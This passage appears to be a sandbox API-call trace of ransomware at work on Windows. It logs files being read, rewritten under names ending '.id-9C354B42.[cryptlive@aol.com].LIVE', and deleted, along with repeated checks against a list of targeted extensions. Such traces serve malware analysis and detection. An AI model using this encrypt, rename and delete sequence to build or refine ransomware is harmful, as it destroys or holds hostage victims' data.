(hObject=0x1f8) returned 1 [0052.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0052.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0052.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0052.361] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.361] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0052.362] GetLastError () returned 0x0 [0052.362] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0052.604] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0052.621] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.621] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0052.621] SetEndOfFile (hFile=0x184) returned 1 [0052.621] CloseHandle (hObject=0x184) returned 1 [0052.622] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.622] SetEndOfFile (hFile=0x1f8) returned 1 [0052.632] CloseHandle (hObject=0x1f8) returned 1 [0052.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0052.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0053.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.027] lstrlenW (lpString=".doc") returned 4 [0053.027] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0053.027] lstrlenW (lpString=".docx") returned 5 [0053.027] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0053.027] lstrlenW (lpString=".pdf") returned 4 [0053.027] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0053.027] lstrlenW (lpString=".xls") returned 4 [0053.027] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0053.027] lstrlenW (lpString=".xlsx") returned 5 [0053.027] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0053.027] lstrlenW (lpString=".ppt") returned 4 [0053.027] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0053.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.027] lstrlenW (lpString=".zip") returned 4 [0053.028] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".rar") returned 4 [0053.028] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".bz2") returned 4 [0053.028] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0053.028] lstrlenW (lpString=".7z") returned 3 [0053.028] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0053.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.028] lstrlenW (lpString=".dbf") returned 4 [0053.028] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.028] lstrlenW (lpString=".1cd") returned 4 [0053.028] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0053.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.028] lstrlenW (lpString=".jpg") returned 4 [0053.028] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.028] lstrlenW (lpString=".doc") returned 4 [0053.028] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".docx") returned 5 [0053.028] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0053.028] lstrlenW (lpString=".pdf") returned 4 [0053.028] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".xls") returned 4 [0053.028] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".xlsx") returned 5 [0053.028] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0053.028] lstrlenW (lpString=".ppt") returned 4 [0053.028] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.028] lstrlenW (lpString=".zip") returned 4 [0053.028] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".rar") returned 4 [0053.028] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0053.028] lstrlenW (lpString=".bz2") returned 4 [0053.029] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0053.029] lstrlenW (lpString=".7z") returned 3 [0053.029] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0053.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.029] lstrlenW (lpString=".dbf") returned 4 [0053.029] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0053.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.029] lstrlenW (lpString=".1cd") returned 4 [0053.029] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0053.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0053.029] lstrlenW (lpString=".jpg") returned 4 [0053.029] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0053.029] lstrcmpiW (lpString1=".inc", lpString2=".LIVE") returned -1 [0053.029] lstrlenW (lpString="adcvbs.inc") returned 10 [0053.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.029] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=623) returned 1 [0053.029] CloseHandle (hObject=0x200) returned 1 [0053.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0053.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.030] lstrlenW (lpString=".doc") returned 4 [0053.030] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0053.030] lstrlenW (lpString=".docx") returned 5 [0053.030] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0053.030] lstrlenW (lpString=".pdf") returned 4 [0053.030] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0053.030] lstrlenW (lpString=".xls") returned 4 [0053.030] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0053.030] lstrlenW (lpString=".xlsx") returned 5 [0053.030] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0053.030] lstrlenW (lpString=".ppt") returned 4 [0053.030] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0053.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.030] lstrlenW (lpString=".zip") returned 4 [0053.030] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0053.030] lstrlenW (lpString=".rar") returned 4 [0053.030] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0053.030] lstrlenW (lpString=".bz2") returned 4 [0053.030] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0053.030] lstrlenW (lpString=".7z") returned 3 [0053.030] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0053.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.030] lstrlenW (lpString=".dbf") returned 4 [0053.030] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0053.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.030] lstrlenW (lpString=".1cd") returned 4 [0053.031] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString=".jpg") returned 4 [0053.031] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString=".doc") returned 4 [0053.031] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0053.031] lstrlenW (lpString=".docx") returned 5 [0053.031] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0053.031] lstrlenW (lpString=".pdf") returned 4 [0053.031] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0053.031] lstrlenW (lpString=".xls") returned 4 [0053.031] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0053.031] lstrlenW (lpString=".xlsx") returned 5 [0053.031] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0053.031] lstrlenW (lpString=".ppt") returned 4 [0053.031] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString=".zip") returned 4 [0053.031] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0053.031] lstrlenW (lpString=".rar") returned 4 [0053.031] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0053.031] lstrlenW (lpString=".bz2") returned 4 [0053.031] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0053.031] lstrlenW (lpString=".7z") returned 3 [0053.031] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString=".dbf") returned 4 [0053.031] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString=".1cd") returned 4 [0053.031] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0053.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0053.031] lstrlenW (lpString=".jpg") returned 4 [0053.031] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0053.032] lstrcmpiW (lpString1=".inc", lpString2=".LIVE") returned -1 [0053.032] lstrlenW (lpString="oledbjvs.inc") returned 12 [0053.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.717] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9804) returned 1 [0053.717] CloseHandle (hObject=0x200) returned 1 [0053.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0053.717] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.717] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.717] lstrlenW (lpString=".doc") returned 4 [0053.717] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0053.717] lstrlenW (lpString=".docx") returned 5 [0053.717] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0053.717] lstrlenW (lpString=".pdf") returned 4 [0053.717] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0053.717] lstrlenW (lpString=".xls") returned 4 [0053.717] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0053.717] lstrlenW (lpString=".xlsx") returned 5 [0053.717] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0053.718] lstrlenW (lpString=".ppt") returned 4 [0053.718] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0053.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.718] lstrlenW (lpString=".zip") returned 4 [0053.718] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0053.718] lstrlenW (lpString=".rar") returned 4 [0053.718] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0053.718] lstrlenW (lpString=".bz2") returned 4 [0053.718] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0053.718] lstrlenW (lpString=".7z") returned 3 [0053.718] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0053.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.718] lstrlenW (lpString=".dbf") returned 4 [0053.718] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0053.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.718] lstrlenW (lpString=".1cd") returned 4 [0053.718] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0053.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.718] lstrlenW (lpString=".jpg") returned 4 [0053.718] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0053.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.718] lstrlenW (lpString=".doc") returned 4 [0053.718] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0053.718] lstrlenW (lpString=".docx") returned 5 [0053.718] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0053.718] lstrlenW (lpString=".pdf") returned 4 [0053.718] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0053.718] lstrlenW (lpString=".xls") returned 4 [0053.718] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0053.718] lstrlenW (lpString=".xlsx") returned 5 [0053.718] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0053.718] lstrlenW (lpString=".ppt") returned 4 [0053.719] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0053.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.719] lstrlenW (lpString=".zip") returned 4 [0053.719] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0053.719] lstrlenW (lpString=".rar") returned 4 [0053.719] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0053.719] lstrlenW (lpString=".bz2") returned 4 [0053.719] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0053.719] lstrlenW (lpString=".7z") returned 3 [0053.719] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0053.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.719] lstrlenW (lpString=".dbf") returned 4 [0053.719] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0053.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.719] lstrlenW (lpString=".1cd") returned 4 [0053.719] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0053.719] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0053.719] lstrlenW (lpString=".jpg") returned 4 [0053.719] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0053.719] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.719] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0053.719] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.720] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=10123) returned 1 [0053.720] CloseHandle (hObject=0x200) returned 1 [0053.720] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0053.720] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0053.721] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.721] lstrlenW (lpString=".doc") returned 4 [0053.721] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.721] lstrlenW (lpString=".docx") returned 5 [0053.721] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0053.721] lstrlenW (lpString=".pdf") returned 4 [0053.721] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.721] lstrlenW (lpString=".xls") returned 4 [0053.721] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.721] lstrlenW (lpString=".xlsx") returned 5 [0053.721] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0053.721] lstrlenW (lpString=".ppt") returned 4 [0053.721] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.721] lstrlenW (lpString=".zip") returned 4 [0053.721] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.721] lstrlenW (lpString=".rar") returned 4 [0053.721] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.721] lstrlenW (lpString=".bz2") returned 4 [0053.721] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.721] lstrlenW (lpString=".7z") returned 3 [0053.721] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.721] lstrlenW (lpString=".dbf") returned 4 [0053.721] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.721] lstrlenW (lpString=".1cd") returned 4 [0053.721] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.721] lstrlenW (lpString=".jpg") returned 4 [0053.721] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.722] lstrlenW (lpString=".doc") returned 4 [0053.722] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0053.722] lstrlenW (lpString=".docx") returned 5 [0053.722] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0053.722] lstrlenW (lpString=".pdf") returned 4 [0053.722] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0053.722] lstrlenW (lpString=".xls") returned 4 [0053.722] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0053.722] lstrlenW (lpString=".xlsx") returned 5 [0053.722] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0053.722] lstrlenW (lpString=".ppt") returned 4 [0053.722] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0053.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.722] lstrlenW (lpString=".zip") returned 4 [0053.722] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0053.722] lstrlenW (lpString=".rar") returned 4 [0053.722] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0053.722] lstrlenW (lpString=".bz2") returned 4 [0053.722] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0053.722] lstrlenW (lpString=".7z") returned 3 [0053.722] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0053.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.722] lstrlenW (lpString=".dbf") returned 4 [0053.722] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0053.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.722] lstrlenW (lpString=".1cd") returned 4 [0053.722] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0053.722] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0053.722] lstrlenW (lpString=".jpg") returned 4 [0053.722] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0053.723] lstrcmpiW (lpString1=".png", lpString2=".LIVE") returned 1 [0053.723] lstrlenW (lpString="16to9Squareframe_SelectionSubpicture.png") returned 40 [0053.723] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0053.723] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3286) returned 1 [0053.723] CloseHandle (hObject=0x200) returned 1 [0053.723] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_selectionsubpicture.png")) returned 0x20 [0053.723] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD 